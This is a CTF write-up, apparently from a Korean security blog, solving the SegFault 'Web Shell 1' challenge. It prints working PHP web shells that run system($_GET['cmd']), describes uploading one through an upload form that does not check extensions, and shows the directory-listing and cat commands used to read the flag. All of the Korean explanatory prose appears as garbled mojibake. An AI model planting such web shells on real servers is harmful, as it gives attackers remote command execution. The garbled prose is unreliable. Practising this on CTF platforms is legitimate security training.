Archive for Dev. (junyup2)

์ง€์‹์„ ์ฑ„์›Œ๊ฐ€๋Š” ใ€Ž๊ฐœ๋ฐœ์ž/ํ™”์ดํŠธํ•ด์ปคใ€๋ฅผ ๋ชฉํ‘œ๋กœ ์ •๋ฆฌํ•˜๋Š” ๋ธ”๋กœ๊ทธ

Wargame & CTF/SegFault

[SegFault] (File Vuln) - Web Shell 1

Gearvirus(junyup2) 2024. 2. 8. 23:45

[SegFault] (File Vuln)

Web Shell 1

php ์›น ์‰˜์„ ์˜ฌ๋ ค์„œ, flag.txt ํŒŒ์ผ์„ ์ฐพ์•„๋‚ด๋ผ!

๋ฌธ์ œ ํŒŒ์•…

๋ณธ ๋ฌธ์ œ๋Š” File Vulnerability์— ๊ด€ํ•œ ๋ฌธ์ œ๋กœ์„œ, 'Server Side Script' File, ์ฆ‰ ์›น ์‰˜(Web Shell)์„ Upload ํ•˜๊ณ , ํ•ด๋‹น ์›น ์‰˜์˜ ์—…๋กœ๋“œ ์œ„์น˜๋ฅผ ์ฐพ์•„ ์‹คํ–‰์‹œ์ผœ flag.txt ํŒŒ์ผ์„ ์ฐพ๋Š” ๋ฌธ์ œ์ด๋‹ค.


ํ’€์ด ๊ณผ์ • (ํ•ด๊ฒฐ ๋ฐฉ์•ˆ)

ํ•œ์ค„ ์›น ์‰˜

๊ธฐ๋ณธ์ ์ธ ํ•œ ์ค„ ์›น์‰˜์€ ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

<?php
echo system($_GET['cmd']);           
?>

์œ„์™€ ๊ฐ™์€ ๊ฐ„๋‹จํ•œ ์›น ์‰˜์„ ์‚ฌ์šฉํ•˜๋Š” ๊ฒƒ์ด ์ผ๋ฐ˜์ ์ด์ง€๋งŒ, ๋ธŒ๋ผ์šฐ์ €์—์„œ ํ…Œ์ŠคํŠธํ•˜๊ธฐ ํŽธํ•˜๋„๋ก ์•„๋ž˜์™€ ๊ฐ™์ด ์ˆ˜์ •ํ•œ ์›น ์‰˜ ์ฝ”๋“œ๋ฅผ ์‚ฌ์šฉํ•  ๊ฒƒ์ด๋‹ค.

 

์‚ฌ์šฉํ•œ ์›น ์‰˜ ์ฝ”๋“œ

์‚ฌ์šฉํ•˜๊ธฐ ํŽธํ•˜๋„๋ก ์ˆ˜์ •ํ•œ ์›น ์‰˜ ์ฝ”๋“œ์ด๋‹ค.

<?php
    echo 'Enter a Command:<br>';
    echo '<form action="" method="get">';
    echo '<input type="text" name="cmd">';
    echo '<input type="submit">';
    echo '</form>';
    
    if(isset($_GET['cmd'])){
        system($_GET['cmd']);
    }
?>

 

์›น ์‰˜ ์—…๋กœ๋“œ

๊ฒŒ์‹œํŒ์˜ ์—…๋กœ๋“œ ๊ธฐ๋Šฅ์—์„œ Server Side Script ํŒŒ์ผ์— ๋Œ€ํ•œ ํ™•์žฅ์ž ๊ฒ€์ฆ์ด ์ด๋ฃจ์–ด์ง€์ง€ ์•Š์•„ (.php) ํŒŒ์ผ์˜ ์—…๋กœ๋“œ๊ฐ€ ๊ฐ€๋Šฅํ•œ ๊ฒƒ์„ ํ™•์ธํ•˜์˜€๋‹ค.

์œ„์˜ ์›น ์‰˜์„ ์—…๋กœ๋“œ ํ•œ ํ›„, ๋‹ค์šด๋กœ๋“œ ๋งํฌ๋ฅผ ํ™•์ธํ•˜๋ฉด, ํ•ด๋‹น ํŒŒ์ผ์˜ ์œ„์น˜๋ฅผ ์•Œ ์ˆ˜ ์žˆ๊ณ , ํ•ด๋‹น ๊ฒฝ๋กœ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

http://ctf.segfaulthub.com:8989/webshell_1/files/gear/web_shell.php

 

flag ์ฐพ๊ธฐ

์œ„์˜ ์›น์‰˜ ๊ฒฝ๋กœ๋ฅผ์ž…๋ ฅํ•˜๋ฉด ๋ธŒ๋ผ์šฐ์ € ์ƒ์—์„œ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ์›น ์‰˜ ์ฐฝ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ๋‹ค.

ํ˜„์žฌ์˜ ๊ฒฝ๋กœ๋Š” /webshell_1/files/gear/ ์ด๋‹ค. ๊ทธ๋Ÿฌ๋ฏ€๋กœ flag.txt ํŒŒ์ผ์„ ์ฐพ๊ธฐ ์œ„ํ•ด์„œ๋Š” /webshell_1/ ๊ฒฝ๋กœ๊นŒ์ง€ ์˜ฌ๋ผ๊ฐ€์•ผํ•œ๋‹ค.

dir ../../

์œ„์™€ ๊ฐ™์ด ์ž…๋ ฅํ•˜์—ฌ ์–ด๋–ค ๋””๋ ‰ํ„ฐ๋ฆฌ๋“ค์ด ์žˆ๋Š”์ง€ ํ™•์ธํ•ด ๋ณธ ๊ฒฐ๊ณผ important_data๋ผ๋Š” ๋””๋ ‰ํ„ฐ๋ฆฌ๊ฐ€ ์กด์žฌํ•˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์—ˆ๋‹ค.

ํ•ด๋‹น ๊ฒฝ๋กœ์— ์กด์žฌํ•˜๋Š” ์œ„์˜ ๋””๋ ‰ํ„ฐ๋ฆฌ์— ์ ‘๊ทผํ•ด๋ด์•ผ ํ•œ๋‹ค.

dir ../../important_data

์œ„์™€ ๊ฐ™์ด ์ž…๋ ฅํ•˜์—ฌ ํ•ด๋‹น ๋””๋ ‰ํ„ฐ๋ฆฌ์˜ ๋‚ด๋ถ€๋ฅผ ํ™•์ธํ•ด ๋ณธ ๊ฒฐ๊ณผ flag.txt๊ฐ€ ์กด์žฌํ•˜๋Š” ๊ฒƒ์„ ํ™•์ธํ•  ์ˆ˜ ์žˆ์—ˆ๋‹ค.

๋‚ด์šฉ์„ ํ™•์ธํ•˜๊ธฐ ์œ„ํ•ด cat ๋ช…๋ น์–ด๋ฅผ ์ด์šฉํ•œ๋‹ค.

cat ../../important_data/flag.txt

์œ„์™€ ๊ฐ™์ด ์ž…๋ ฅํ•œ ๊ฒฐ๊ณผ flag๋ฅผ ํš๋“ํ•  ์ˆ˜ ์žˆ์—ˆ๋‹ค.


์ƒ๊ฐํ•ด ๋ณผ ์ 

find ๋ช…๋ น์–ด๋ฅผ ์ด์šฉํ•˜์—ฌ ์ฐพ์„ ์ˆ˜๋„ ์žˆ์—ˆ๊ฒ ์ง€๋งŒ, ํ•ด๋‹น ๋ช…๋ น์–ด๋ฅผ ์ด์šฉํ•˜๋ ค๋ฉด ์ฐพ์œผ๋ ค๋Š” ํŒŒ์ผ์˜ ์ด๋ฆ„์„ ํ™•์‹คํ•˜๊ฒŒ ์•Œ๊ณ  ์žˆ๋Š” ๊ฒฝ์šฐ์—๋งŒ ๊ฐ€๋Šฅํ•˜๊ธฐ ๋•Œ๋ฌธ์— ์ง์ ‘ ์ฐพ์•„๋ณด๋Š” ๋ฐฉ์‹์„ ์„ ํƒํ•˜์˜€๋‹ค.

find ๋ช…๋ น์–ด๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒฝ์šฐ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

find / -name flag.txt


์งˆ๋ฌธ ํ™˜์˜, ์ˆ˜์ • ๋ฐ ๋ณด์™„์— ๋Œ€ํ•œ ์ง€์  ํ™˜์˜